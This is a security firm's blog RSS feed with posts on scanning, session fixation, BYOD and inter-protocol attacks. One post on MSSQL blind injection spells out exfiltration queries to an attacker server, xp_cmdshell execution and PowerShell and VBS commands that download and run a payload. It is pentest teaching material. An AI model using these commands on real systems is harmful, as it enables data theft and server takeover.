<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>SECFORCE :: Blog</title>
	<atom:link href="http://www.secforce.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.secforce.com/blog</link>
	<description>IT Security and penetration testing blog</description>
	<pubDate>Wed, 19 Jun 2013 08:55:49 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>Scanning SNMPv3 with nmap vs unicornscan</title>
		<link>http://www.secforce.com/blog/2013/06/scanning-snmpv3-with-nmap-vs-unicornscan/</link>
		<comments>http://www.secforce.com/blog/2013/06/scanning-snmpv3-with-nmap-vs-unicornscan/#comments</comments>
		<pubDate>Wed, 19 Jun 2013 08:55:49 +0000</pubDate>
		<dc:creator>Antonio Quina</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[nmap]]></category>

		<category><![CDATA[portscan]]></category>

		<category><![CDATA[SNMPv3]]></category>

		<category><![CDATA[unicornscan]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=424</guid>
		<description><![CDATA[Many penetration testers rely on unicornscan&#8217;s speed to perform UDP portscans. Sometimes, a first pass is made with unicornscan to detect open UDP ports and then a second pass is made with nmap on those ports to find additional information about the service.
In a recent penetration test we came across an interesting situation where nmap [...]]]></description>
			<content:encoded><![CDATA[<p>Many penetration testers rely on unicornscan&#8217;s speed to perform UDP portscans. Sometimes, a first pass is made with unicornscan to detect open UDP ports and then a second pass is made with nmap on those ports to find additional information about the service.</p>
<p>In a recent penetration test we came across an interesting situation where nmap could detect an SNMP service running on the target but unicornscan missed it.</p>
<p>To understand what was happening we wiresharked both scans and compared the packets sent by both scanners.</p>
<p style="center;"><a href="http://www.secforce.com/blog/wp-content/uploads/2013/06/snmpv3-wireshark-fixed.png"><img class="aligncenter size-medium wp-image-425" src="http://www.secforce.com/blog/wp-content/uploads/2013/06/snmpv3-wireshark-fixed.png" alt="Wireshark - portscans with unicornscan and nmap" width="650" height="271" /></a></p>
<p>On the left we see the packet sent by unicornscan and on the right the one sent by nmap.</p>
<p>What had happened was that the service running was SNMPv3 and while nmap was sending an SNMPv3 get-request, unicornscan was sending an SNMPv1 get-request which was&#8217;t understood/supported by the remote service.</p>
<p>Fortunately, unicornscan is a flexible tool which allows the creation of custom payloads. Creating a payload is as simple as adding the new payload to the configuration file (<em>payloads.conf</em>). By inspecting this file we saw that, as expected, there was an SNMPv1 payload which corresponded exactly to the bytes we saw in wireshark (see selected bytes).</p>
<p>Following this logic, all we had to do was create a payload from the bytes selected in the second capture file. Thus, the new payload looks like this:</p>
<p><code><br />
/* SNMPv3 payload */<br />
udp 161 161 1 {<br />
"\x30\x3a\x02\x01\x03\x30\x0f\x02\x02\x4a\x69\x02\x03\x00\xff\xe3"<br />
"\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0e\x04\x00\x02\x01\x00\x02"<br />
"\x01\x00\x04\x00\x04\x00\x04\x00\x30\x12\x04\x00\x04\x00\xa0\x0c"<br />
"\x02\x02\x37\xf0\x02\x01\x00\x02\x01\x00\x30\x00"<br />
};</code></p>
<p>Now, when you run unicornscan it will detect SNMPv3! <img src='http://www.secforce.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2013/06/scanning-snmpv3-with-nmap-vs-unicornscan/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HSFPP - HTTP session fixation parameter pollution</title>
		<link>http://www.secforce.com/blog/2013/02/hsfpp-http-session-fixation-parameter-pollution/</link>
		<comments>http://www.secforce.com/blog/2013/02/hsfpp-http-session-fixation-parameter-pollution/#comments</comments>
		<pubDate>Mon, 25 Feb 2013 15:22:05 +0000</pubDate>
		<dc:creator>Nikos Vassakis</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[HSFPP]]></category>

		<category><![CDATA[parameter polution]]></category>

		<category><![CDATA[session fixation]]></category>

		<category><![CDATA[session hijacking]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=409</guid>
		<description><![CDATA[Session fixation is an issue whereby an attacker is able to set a session token for a victim, and therefore being able to hijack the victim&#8217;s session. HTTP pollution of a fixated cookie could potentially have devastating consequences.
A general recommendation and one (of many) ways to protect applications against this type of attacks is to [...]]]></description>
			<content:encoded><![CDATA[<p>Session fixation is an issue whereby an attacker is able to set a session token for a victim, and therefore being able to hijack the victim&#8217;s session. HTTP pollution of a fixated cookie could potentially have devastating consequences.</p>
<p>A general recommendation and one (of many) ways to protect applications against this type of attacks is to delete the cookie before login to the application and issue a new cookie with a random session token upon successful authentication. However, it often introduces a new issue as cookies with different flags are normally treated as different ones..</p>
<p>First lets have a look at an important part of the RFC for HTTP State Management Mechanism (Cookies):</p>
<blockquote><p>&#8220;Although cookies are serialized linearly in the Cookie header, servers SHOULD NOT rely upon the serialization order.  In particular, if the Cookie header contains two cookies with the same name (e.g., that were set with different Path or Domain attributes), servers SHOULD NOT rely upon the order in which these cookies appear in the header. &#8221; (http://tools.ietf.org/html/rfc6265)</p></blockquote>
<p>Understandably this is part of the as-designed functionality of cookies.</p>
<p>Well, probably it is still not clear where is the vulnerability.</p>
<p>Let&#8217;s explain further:</p>
<p>One would assume that, if a cookie is set with the same name with another cookie, the one set now would overwrite the latter.</p>
<p>The same for deletion, update etc. However, this relies on the browser&#8217;s cookie handling as per the above quote and not on the server.</p>
<p>In general the server/application should never assume anything that it is not directly controlled by it.</p>
<p>The problem is that cookies with different flags are considered different, although they might have the same name. This will make most, (if not all) browsers to store them and send them BOTH at every request.</p>
<p>Although which one is send before or after depends on the browser, the weather, the tides and the planetary movements. Therefore, the value received by the application is unpredictable.</p>
<p>So, where is the vulnerability you ask?</p>
<p>If you can&#8217;t see it yet you might want to have a look in HTTP parameter pollution.</p>
<p>Two variables with the same name are sent to the server, which one is the one that the server will get? Also what happens if one of them gets validated by the application and then, using a different mechanism (parser etc.) the other one is the one that queries the database?</p>
<p>Let&#8217;s consider this scenario:</p>
<ul>
<li>The server deletes the (old) session cookie when the user tries to login to the application</li>
<li>Then issues a new cookie after successful login.</li>
<li>Additionally in many cases the server only accepts cookies issued by it.</li>
</ul>
<ul>
<li>An attacker now logins to the application and gets a legitimate cookie bound to his session.</li>
<li>Then he fixes this cookie in the victims browser. (He also makes sure to change the cookie flags)</li>
<li>Now the victim tries to login to the application.</li>
</ul>
<p>The attackers (fixed) cookie is sent to the server and the server responds back with a &#8220;expire cookie&#8221; to delete the old cookie. If this response does not have the same name AND the same flags as the fixed cookie, the browser might not actually delete it</p>
<p>The victim successfully authenticates to the application and a new session cookie is sent</p>
<p>Obviously all of the above will not lead to a session fixation - This heavily depends on how the application binds the session to the cookie and mostly on what it expects!</p>
<p>However, this kind of issue is not uncommon. In this case, the browser in every request will send both cookies. Which one would be read by the application is not certain and therefore this can lead to the application binding the attackers cookie to the victims session.</p>
<p>Then the attacker can use the session cookie to impersonate the victim to the application.</p>
<p>Going back to the RFC &#8220;servers SHOULD NOT rely upon the order in which these cookies appear in the header&#8221; add to that the general security term &#8220;Trust nothing&#8221; and you have a solution to the problem.</p>
<p>Addressing the issue:</p>
<p>Each application behaves differently and there is no easy way to make exact suggestions. Generic ones, on the other hand, led us here on the first place.</p>
<p>When a user authenticates and a new session is created, it is wise to destroy the previous session. Additionally, when designing and developing software, do not assume anything out of the applications control actually gets done.</p>
<p>Have no expectations! Do not expect that the received data will have the correct format/structure/form/etc.</p>
<p>Know your environment! Know how the application AND the server handle multiple parameters with the same name.</p>
<p>Be consistent in the way parameters are accesses and verified. Use the exact same mechanism to fetch parameters every time.</p>
<p>Validate all input to ensure it is in the expected and correct format.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2013/02/hsfpp-http-session-fixation-parameter-pollution/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Stacked based MSSQL blind injection bypass methodology</title>
		<link>http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/</link>
		<comments>http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/#comments</comments>
		<pubDate>Mon, 07 Jan 2013 15:11:02 +0000</pubDate>
		<dc:creator>Nikos Vassakis</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[SQL Server]]></category>

		<category><![CDATA[Security research]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[sql injection]]></category>

		<category><![CDATA[blind]]></category>

		<category><![CDATA[bypass]]></category>

		<category><![CDATA[mssql]]></category>

		<category><![CDATA[sql]]></category>

		<category><![CDATA[stacked queries]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=380</guid>
		<description><![CDATA[If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.
This post is part of a methodology used for obtaining *sight* from a stacked based blind SQL injection.
Requirements:

Stacked based Blind SQL injection
Local MSSQL database server (MSSQL server express [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.</p>
<p>This post is part of a methodology used for obtaining *sight* from a stacked based blind SQL injection.</p>
<p>Requirements:</p>
<ol>
<li>Stacked based Blind SQL injection</li>
<li>Local MSSQL database server (MSSQL server express was used in this example)</li>
<li>Improper remote firewall configuration (allows outbound connections)</li>
<li>#include &lt;brain.h&gt;</li>
</ol>
<p>If all of the requirements above are met then the following technique can be used:</p>
<ul>
<li>On the local server create a new database with a table to store the results:
<ul>
<li>CREATE DATABASE output_db;</li>
<li>CREATE TABLE output_db..output ( result VARCHAR(MAX) );</li>
<li>Lastly, open the ports and change the config for remotely connecting to the database.</li>
</ul>
</li>
<li>On the remote server test for OPENROWSET  and external connection:
<ul>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=<strong>LOCAL_SERVER_IP</strong>;<br />
uid=<strong>LOCAL_SERVER_USERNAME</strong>;pwd=<strong>LOCAL_SERVER_USER_PASS</strong>&#8216;,<br />
output_db..output) SELECT @@version&#8217;)&#8211;</li>
</ul>
</li>
</ul>
<p>This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If &#8220;SELECT * from output_db..output&#8221; returns any results then you are in luck otherwise continue using sqlmap&#8230;</p>
<p>Now we can change the &#8220;SELECT @@version&#8221; part to run any command we want and the results are going to get saved our database.</p>
<p><em>NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors</em></p>
<p>Copying Databases:</p>
<ul>
<li>After you create a new database make a copy of the local sysdatabases and empty it:
<ul>
<li>SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;</li>
<li>DELETE master_copy..sysdatabases;</li>
</ul>
</li>
</ul>
<ul>
<li>Copy the Remote sysobjects over to master_copy..sysdatabases;
<ul>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=<strong>LOCAL_SERVER_IP</strong>;<br />
uid=<strong><strong>LOCAL_SERVER_USERNAME</strong></strong>;pwd=<strong><strong>LOCAL_SERVER_USER_PASS</strong></strong>&#8216;,<br />
master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;&#8211;</li>
</ul>
</li>
</ul>
<ul>
<li>For every returned name create a new database and list tables
<ul>
<li>CREATE DATABASE <strong>LOCAL_DB_NAME</strong>;</li>
<li>CREATE TABLE <strong>LOCAL_DB_NAME</strong>..tables( names VARCHAR(MAX) );</li>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=<strong>LOCAL_SERVER_IP</strong>;<br />
uid=<strong>LOCAL_SERVER_USERNAME</strong>;pwd=<strong>LOCAL_SERVER_USER_PASS</strong>&#8216;,<br />
<strong>LOCAL_DB_NAME</strong>..tables;) SELECT name FROM <strong>REMOTE_DB_NAME</strong>..sysobjects WHERE xtype = &#8216;U&#8217;;&#8211;</li>
</ul>
</li>
</ul>
<ul>
<li>For every returned table create a new table for to hold the column data
<ul>
<li>CREATE TABLE <strong><strong>LOCAL_DB_NAME.</strong></strong>.columns ( name VARCHAR(MAX), type VARCHAR(MAX) );</li>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=localhost;uid=sa;pwd=sa&#8217;,<br />
<strong>LOCAL_DB_NAME.</strong>dbo.columns) SELECT <strong>REMOTE_DB_NAME</strong>..syscolumns.name,<br />
TYPE_NAME(<strong>REMOTE_DB_NAME</strong>..syscolumns.xtype) FROM<br />
<strong>REMOTE_DB_NAME</strong>..syscolumns, <strong>REMOTE_DB_NAME</strong>..sysobjects WHERE<br />
<strong>REMOTE_DB_NAME</strong>..syscolumns.id=<strong>REMOTE_DB_NAME</strong>..sysobjects.id AND<br />
<strong>REMOTE_DB_NAME</strong>..sysobjects.name=&#8217;sysobj&#8217;;</li>
</ul>
</li>
</ul>
<ul>
<li>Now create a new table with the same columns and data types and copy using the same command as above
<ul>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=<strong><strong>LOCAL_SERVER_IP</strong></strong>;<br />
uid=<strong><strong><strong>LOCAL_SERVER_USERNAME</strong></strong></strong>;pwd=<strong><strong><strong>LOCAL_SERVER_USER_PASS</strong></strong></strong>&#8216;,<br />
<span><strong>LOCAL_DB_NAME</strong></span>..<strong>TABLE</strong>;) SELECT * FROM <strong>REMOTE<span>_DB_NAME</span></strong>..<strong>TABLE</strong>;&#8211;</li>
<li><span style="font-style: italic;">Or create a new table with only the columns you need and copy over only those</span></li>
</ul>
</li>
</ul>
<p>Advancing:</p>
<ul>
<li>Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run &#8220;SELECT @@version&#8221; and return the result to us.
<ul>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=<span><strong>LOCAL_SERVER_IP</strong></span>;<br />
uid=<span><strong>LOCAL_SERVER_USERNAME</strong></span>;pwd=<span><strong>LOCAL_SERVER_USER_PASS</strong></span>&#8216;,<br />
output_db..output)<br />
SELECT * FROM OPENROWSET(&#8217;SQLNCLI&#8217;,&#8217;server=<strong>localhost</strong>;uid=sa;pwd=<strong>PASSWORD</strong>&#8216;,&#8217;SELECT @@version&#8217;)</li>
</ul>
</li>
<li>Command execution with output of the results (if the sa password is known)</li>
<li>; INSERT INTO OPENROWSET(&#8217;SQLOLEDB&#8217;,&#8217;server=<span><strong><strong>LOCAL_SERVER_IP</strong></strong></span>;<br />
uid=<span><strong><strong>LOCAL_SERVER_USERNAME</strong></strong></span>;pwd=<span><strong>LOCAL_SERVER_USER_PASS</strong></span>&#8216;,<br />
output_db..output)<br />
SELECT * FROM OPENROWSET(&#8217;SQLNCLI&#8217;,&#8217;server=<strong>localhost</strong>;uid=sa;pwd=<strong>PASSWORD</strong>&#8216;,<br />
&#8217;set fmtonly off; exec master..xp_cmdshell &#8221;dir&#8221; ; &#8216;)&#8211;</li>
</ul>
<div>Advancing more:</div>
<div><em>NOTE: because of the &#8220;fmtonly off&#8221; instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.</em></div>
<div>
<ul>
<li>A nice technique for running meterpreter is through powershell. SET framework will take care of everything &#8230; it&#8217;s only a matter of copying the command payload.</li>
</ul>
</div>
<div>
<ul>
<li>&#8230; or do it yourself. The following commands are for downloading a file from a web server, and running it.
<ul>
<li>(Powershell) [Convert]::ToBase64String([System.Text.Encoding]::<br />
Unicode.GetBytes(&#8221;(new-object System.Net.WebClient).<br />
DownloadFile(&#8217;<strong>http://REMOTE_SERVER/payload.exe</strong>&#8216;,<br />
&#8216;<strong>C:\<strong>DESTINATION_FOLDER</strong>\payload.exe</strong>&#8216;)&#8221;))</li>
</ul>
</li>
</ul>
<ul>
<li>This will generate an encoded command string that you can run on the remote server:
<ul>
<li>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand &#8220;<strong>ENCODED_COMMAND_STRING</strong>&#8220;</li>
</ul>
</li>
</ul>
<ul>
<li>If this doesn&#8217;t work, you can echo and run the one-liner vbs script below:
<ul>
<li>echo Set objXMLHTTP=CreateObject(&#8221;MSXML2.XMLHTTP&#8221;):objXMLHTTP.open<br />
&#8220;GET&#8221;, &#8220;<strong>http://REMOTE_SERVER/payload.exe</strong>&#8220;, false:objXMLHTTP.send():<br />
If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(&#8221;ADODB.Stream&#8221;):<br />
objADOStream.Open:objADOStream.Type=1:<br />
objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:<br />
Set objFSO=Createobject(&#8221;Scripting.FileSystemObject&#8221;):<br />
Set objFSO = Nothing:<br />
objADOStream.SaveToFile &#8220;C:\<strong>DESTINATION_FOLDER</strong>\payload.exe&#8221;:<br />
objADOStream.Close:<br />
Set objADOStream=Nothing:<br />
Set objXMLHTTP=Nothing &gt; C:\<strong>DESTINATION_FOLDER</strong>\script.vbs</li>
</ul>
</li>
</ul>
</div>
<div>
<ul>
<li>Run the script:
<ul>
<li>cscript  C:\<strong>DESTINATION_FOLDER</strong>\script.vbs</li>
</ul>
</li>
</ul>
</div>
<div>
<ul>
<li>Run the payload:
<ul>
<li>C:\<strong>DESTINATION_FOLDER</strong>\payload.exe</li>
</ul>
</li>
</ul>
</div>
<div>
<p><strong>$ chmod -x attack<span style="white-space:pre"> </span></strong>//Protecting the web server (<em>for the non pen-testers</em>)</p>
<p>What went wrong - Recommendations:</p>
<p>First off all, the SQL injection, (<em>*obviously*</em>) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.</p>
<p>For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.</p>
<p>Secondly, hash<strong> AND SALT</strong> all database passwords. Many reasons for that just accept the fact that this is how it <strong>must/should </strong>be done.</p>
<p>Lastly, make the sa password hard to guess and <strong>do not </strong>reuse passwords, specifically administrative passwords.</p>
<p>If all of the above were implemented, then the attack would take significantly <em>more </em>time and the attacker would get <em>at most</em> an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.</p>
<p>Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Is traditional penetration testing effective at identifying risk?</title>
		<link>http://www.secforce.com/blog/2012/12/is-traditional-penetration-testing-effective-at-identifying-risk/</link>
		<comments>http://www.secforce.com/blog/2012/12/is-traditional-penetration-testing-effective-at-identifying-risk/#comments</comments>
		<pubDate>Fri, 14 Dec 2012 17:10:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[comprehensive penetration testing]]></category>

		<category><![CDATA[thorough penetration testing]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=389</guid>
		<description><![CDATA[This September the Director General of GCHQ wrote to  many business leaders providing them with a top ten list of priorities  for achieving and maintaining a strong resilience to cyber attack.
The  challenge for many board members is how to ascertain the validity of  what they are being told in relation to [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">This September the Director General of GCHQ wrote to  many business leaders providing them with a top ten list of priorities  for achieving and maintaining a strong resilience to cyber attack.</p>
<p class="MsoNormal">The  challenge for many board members is how to ascertain the validity of  what they are being told in relation to the health of their defences. What unknown risks are being carried? There is a high risk of false  assurance from internal departments reporting up the chain.</p>
<p class="MsoNormal">What is the state is your business in when it comes to cyber security?</p>
<p class="MsoNormal">Ask yourself the following questions;</p>
<p class="MsoListParagraphCxSpFirst"><span>·<span> </span></span>How effective are my perimeter defences?</p>
<p class="MsoListParagraphCxSpMiddle"><span>·<span> </span></span>How much business impact can an anonymous attacker cause on my network?</p>
<p class="MsoListParagraphCxSpMiddle"><span>·<span> </span></span>What is state of health of my internal systems and networks?</p>
<p class="MsoListParagraphCxSpMiddle"><span>·<span> </span></span>What level of security awareness is held my staff?</p>
<p class="MsoListParagraphCxSpLast"><span>·<span> </span></span>How effective are my IT and security team are at identifying and mitigating an attack?</p>
<p class="MsoNormal">If you are sure you know the answer and you are happy with it then you are doing well.</p>
<p class="MsoNormal">Many  of the security assessments we are asked to undertake, although  providing value, miss the point when it comes to identifying key risks. The reason is that an advanced and sophisticated attacker would not  play by the rules set out in a typical test engagement. If I wanted to  attack your organisation, I would carefully target your people,  compromise their browsers, infiltrate their laptops or workstations, and  from there begin to slowly gain a foothold and control of your network.  In my 10 years working at the cutting edge of penetration testing, we  have performed this testing but a handful of times; however the majority  of successful extrusion attacks would use this method.</p>
<p class="MsoNormal">There  is a miss-match therefore – the skills exist to measure organisations  resilience to this form of attack method, the majority of successful  breaches would use this technique, but penetration tests typically do  not cater for this form of scenario.</p>
<p class="MsoNormal">A  realistic attack would take the form of a discrete engagement to  identify and quantify key areas of critical risk - We like to call it  offensive security; the best form of defence is to know what the enemy  are capable of. If you want to know the truth then you need to test  combining the following elements;</p>
<p class="MsoListParagraphCxSpFirst"><span>·<span> </span></span>Physical  – how easy would it be for an individual to gain access one of your  premises/gain access to the network/steal a laptop, PDA device or  similar (and attempt to extract the data) Can a remote access device be  planted and will this go unnoticed?</p>
<p class="MsoListParagraphCxSpMiddle"><span>·<span> </span></span>Technical– can your systems be penetrated? How effective are your perimeter and internal controls?</p>
<p class="MsoListParagraphCxSpLast"><span>·<span> </span></span>Social – can your people be easily compromised, what level of control over your systems, data and networks can be achieved?</p>
<p class="MsoNormal">So to ask the question again – how well equipped are you for fending off an advanced and persistent cyber attack?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/12/is-traditional-penetration-testing-effective-at-identifying-risk/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bring your own device (BYOD) security challenges</title>
		<link>http://www.secforce.com/blog/2012/12/bring-your-own-device-byod-security-challenges/</link>
		<comments>http://www.secforce.com/blog/2012/12/bring-your-own-device-byod-security-challenges/#comments</comments>
		<pubDate>Wed, 05 Dec 2012 12:37:02 +0000</pubDate>
		<dc:creator>Rodrigo Marcos</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Security architecture]]></category>

		<category><![CDATA[BYOD]]></category>

		<category><![CDATA[BYOD architecture]]></category>

		<category><![CDATA[BYOD penetration test]]></category>

		<category><![CDATA[BYOD projects]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=375</guid>
		<description><![CDATA[BYOD is a business policy which encourages employees to bring their personal devices (laptops, tablets, mobile phones) to the corporate environment and perform business tasks with them.
The advantages for the business are attractive as it allows companies saving money on high priced devices and avoid the responsibility if they are damaged, broken, lost or stolen. [...]]]></description>
			<content:encoded><![CDATA[<p>BYOD is a business policy which encourages employees to bring their personal devices (laptops, tablets, mobile phones) to the corporate environment and perform business tasks with them.</p>
<p>The advantages for the business are attractive as it allows companies saving money on high priced devices and avoid the responsibility if they are damaged, broken, lost or stolen. Moreover, it allows users to work with the technology of their choice and they feel most comfortable with, which increases productivity and makes the working experience more pleasant.</p>
<p>However, system administrators, network architects and security officers are facing a scenario which was unthinkable just a little time ago: introducing alien untrusted devices in the network and allowing them to connect to business resources.</p>
<p>This is a major challenge.</p>
<p>Up until now IT managers tried to configure the internal systems in a controlled manner whereby a well defined perimeter enforced logical access control on the business resources. Moreover, only authorised devices were allowed to successfully authenticate and gain access to these resources.</p>
<p>Obviously there is no single best line of action to overcome this challenge, as networks, systems and trusting models are different in each company. However, there is one important rule of thumb: <strong>Treat the device as if it has been already compromised, with a key-logger and a network sniffer running at all times.</strong> After all, chances are that you are right in your assumption.</p>
<p>The decision on how much trust the business should grant to the device depends on the appetite for risk. I would personally be inclined to grant zero trust. However, as every single decision affecting corporate security, a risk assessment should be performed and a decision made.</p>
<p>There are a number of obstacles that need to be overcome in this kind of deployment:</p>
<ul>
<li>The deployment of BYOD initiatives are specially challenging due to the fact that businesses have no control on the device and very little means to know whether the integrity of the operating system has been compromised.</li>
<li>Additionally, system administrators can not enforce business security policies on the user&#8217;s devices, such as running applications under a low privileged context, deny installation of potentially dangerous applications, prevent the device from interacting with other devices, etc.</li>
<li>Another key challenge is that given the scenario where the business requires installing an application on the user&#8217;s device, a number of rules should be followed to ensure that the privacy of the user is not compromised. After all, it is a personal device.</li>
</ul>
<p>There is no magic bullet which will solve all the issues explained above. However, there are a number of approaches which can limit a potential security breach started from the device. Every approach should focus on minimizing the fact that the BYOD device may be compromised and running malicious software.</p>
<ul>
<li>Authentication mechanisms should be based on one time passwords. If the device is running a key-logger, the attacker would only get a password which can not be reused.</li>
<li>Enforce a strict network segregation on the device, where only an intended front-end is accessible and all other traffic is filtered. Limiting the network access from the device will in turn limit the attacker&#8217;s vectors of attack to only on system.</li>
<li>Don&#8217;t trust the device at any stage. Don&#8217;t store information on it or rely on it at any stage.</li>
<li>Run a <a title="Penetration testing" href="http://www.secforce.com/">penetration test</a> on the solution. <a title="Black box vs white box penetration testing" href="http://www.secforce.com/blog/2008/11/black-box-penetration-testing-vs-white-box-penetration-testing/">Two approaches</a> should be considered. The first one is from an uninformed perspective, where the attacker has no knowledge of the environment and has not valid credentials to log-on to the network or front-end. The second is from an authorised perspective, emulating the scenario of a compromised device logged-on to the environment or a malicious user.</li>
</ul>
<p>There are known risks in BYOD initiatives.</p>
<ul>
<li>It is certainly possible that the attacker can set up a network tunnel using the device as a pivoting system. Depending on the level of trust from the network perspective, the attacker would be granted network connectivity to a number of systems, which could then be subject of potential attacks.</li>
<li>Additionally, confidentiality is difficult to preserve, as an attacker could potentially hook the devices browser or operating system, disclosing the information even if it was encrypted in transit.</li>
</ul>
<p>All in all, security in BYOD projects requires detailed planning which may involve significant architecture changes in the way users access business resources. It is important to understand the risks and challenges, to perform a risk assessment, identify the amount of trust granted to the BYOD devices and deploy a solution which minimizes potential compromises.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/12/bring-your-own-device-byod-security-challenges/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Inter-Protocol Communication - Exploitation</title>
		<link>http://www.secforce.com/blog/2012/11/inter-protocol-communication/</link>
		<comments>http://www.secforce.com/blog/2012/11/inter-protocol-communication/#comments</comments>
		<pubDate>Wed, 21 Nov 2012 17:10:43 +0000</pubDate>
		<dc:creator>Antonio Quina</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[HTTP FTP exploitation]]></category>

		<category><![CDATA[Inter-Protocol Communication]]></category>

		<category><![CDATA[Inter-Protocol Exploitation]]></category>

		<category><![CDATA[IPC]]></category>

		<category><![CDATA[sendAsBinary]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=335</guid>
		<description><![CDATA[What is it?
Inter-Protocol Communication is the ability of two different protocols to exchange meaningful commands and data.
These two protocols can be called the target protocol and the carrier protocol. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is it?</strong><br />
Inter-Protocol Communication is the ability of two different protocols to exchange meaningful commands and data.</p>
<p>These two protocols can be called the <em>target protocol</em> and the <em>carrier protocol</em>. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use to encapsulate and send the commands and data.</p>
<p>There are a few requirements for communication to be possible:</p>
<ul>
<li> The target protocol must be error tolerant. The reason for this is that, since we are communicating through a different carrier protocol, we will be sending some messages that the target protocol won&#8217;t understand.</li>
<li>It must be possible to encapsulate the target protocol in the carrier protocol. Even if the target protocol doesn&#8217;t understand all of the messages it receives, it has to understand the important ones.</li>
</ul>
<p><strong>What can you do with it?</strong><br />
Inter-Protocol Exploitation: use a protocol to attack a service running another protocol. Wade Alcorn researched about this in 2006/2007 (see [1] and [2]).</p>
<p>It is particularly interesting to talk about HTTP as the carrier protocol because attacks can be launched from a web browser and everyone has one! This kind of attack can be used by an attacker to gain access to resources and services that only the victim has access to by making the victim do the &#8220;dirty work&#8221;.</p>
<p>Newline-based protocols such as SMTP, POP3, IRC and FTP - that use new lines as separators - are affected by this because the lines sent to the target protocol are interpreted one at a time. Add the fact that the target protocol is error tolerant and this makes it possible for the target to simply ignore the lines it doesn&#8217;t understand and interpret the lines it does.</p>
<p>To better understand how this works, let&#8217;s look at a simple example.</p>
<p><strong><em>Example 1 : Connecting to FTP through HTTP</em></strong></p>
<p>It is very easy to make a browser connect to an FTP server with an HTTP POST request. Here&#8217;s what the HTML form looks like if the FTP server is on the same machine as the browser:<br />
<code><br />
&lt;form method='POST' action='http://localhost:21' enctype='multipart/form-data'&gt;<br />
&lt;input type='hidden' name='a' value='user secforce'&gt;<br />
&lt;input type='hidden' name='a' value='pass secforce'&gt;<br />
&lt;input type='submit'&gt;<br />
&lt;/form&gt;<br />
</code><br />
